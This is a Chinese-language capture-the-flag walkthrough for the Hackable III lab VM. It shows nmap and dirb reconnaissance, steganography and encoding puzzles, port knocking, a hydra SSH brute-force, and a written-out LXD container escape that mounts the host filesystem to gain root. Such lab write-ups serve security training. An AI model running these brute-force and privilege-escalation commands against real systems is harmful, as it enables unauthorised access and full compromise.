Hackable 3

Hackable III

一、基本信息

名称:Hackable III

发布日期:2021.6.2

作者:Elias Sousa

系列:Hackable

二、靶机简介

Flags:

root:/mnt/root/root/root.txt

难度:中等

三、文件信息

文件名:hackable3.ova

文件大小:1.6GB

下载地址:

MD5: 11855876A01867E9B79D6D5536F89DC0

SHA1: F5F200B85774430E0437F786DE11D20A5A022D33

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机Hackable III和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,可以发现只开放了80端口,其中有一个http-robots.txt:

1
nmap -sC -A -p- 192.168.56.103,端口扫描

image-

3.最后再进行一下目录扫描,发现一些目录,但是没有太多的可用信息:

1
dirb http://192.168.56.103,目录扫描

image-

访问主页,信息提取解密

1.对靶机主页进行访问,查看源码发现提示:

image-

2.提示告知我们可能要用到端口knocking及图片隐写的技术,并且获得了jubiscleudo这个用户名,结合提示上方的login页,可以尝试使用sql注入,但发现其实直接登录也会跳转,虽然是空白页,但是可以查看源码:

image-

image-

3.我们在源码里发现了一个图片指示,结合之前的提示涉及图片隐写,可以把图片获取下来,用steghide分离一下隐藏内容:

image-

1
steghide extract -sf 3.jpg,分离出文本

image-

4.这样我们的得到了第一个端口号,我们返回主页,去/config目录下查看,只有一个1.txt,里面是base64编码的10000,如此我们得到第二个端口:

image-

image-

5.同样,我们去/css目录下查看,发现有2.txt,是brainfuck编码的4444,这就是第三个端口号:

image-

image-

6.而/backup目录下有一个wordlist.txt,很像密码字典,我们把这个字典获取,等下可以进行爆破:

1
wget http://192.168.56.103/backup/wordlist.txt,获取密码字典

image-

SSH登录

1.利用三个端口号进行knocking,可以发现ssh已经开放:

1
2
knock 192.168.56.103 10000 4444 65535,knock
nmap -p22 192.168.56.103,查看22端口状态

image-

2.利用wordlist.txt密码字典对jubiscleudo用户使用hydra进行爆破,登录ssh:

1
hydra -l jubiscleudo -P wordlist.txt 192.168.56.103 ssh

image-

1
ssh jubiscleudo@192.168.56.103,ssh登录

image-

二进制提权

1.利用jubiscleudo帐户,我们能查看/var/www/html目录下.backup_config.php文件,可以发现用户hackable_3及其密码:

image-

2.登录hackable_3,查看组,发现二进制文件lxc和lxd可用:

image-

3.我们可以利用alpine进行提权,系列命令如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Kali:
把准备好的alpine压缩包传上靶机,命令如下:
scp /tmp/alpine-minirootfs-3.14.1-x86_64.tar.gz hackable_3@192.168.56.103:/tmp/

hackable_3:
cd /tmp
lxc image import ./ alpine-minirootfs-3.14.1-x86_64.tar.gz –alias fasto
lxc image list
lxd init
lxc init fasto groot -c security.privileged=true
lxc config device add groot mydevice disk source=/ path=/mnt/root recursive=true

lxc start groot
lxc exec groot /bin/sh

image-

image-

4.在/mnt/root/root目录下,可以发现root.txt,即flag:

image-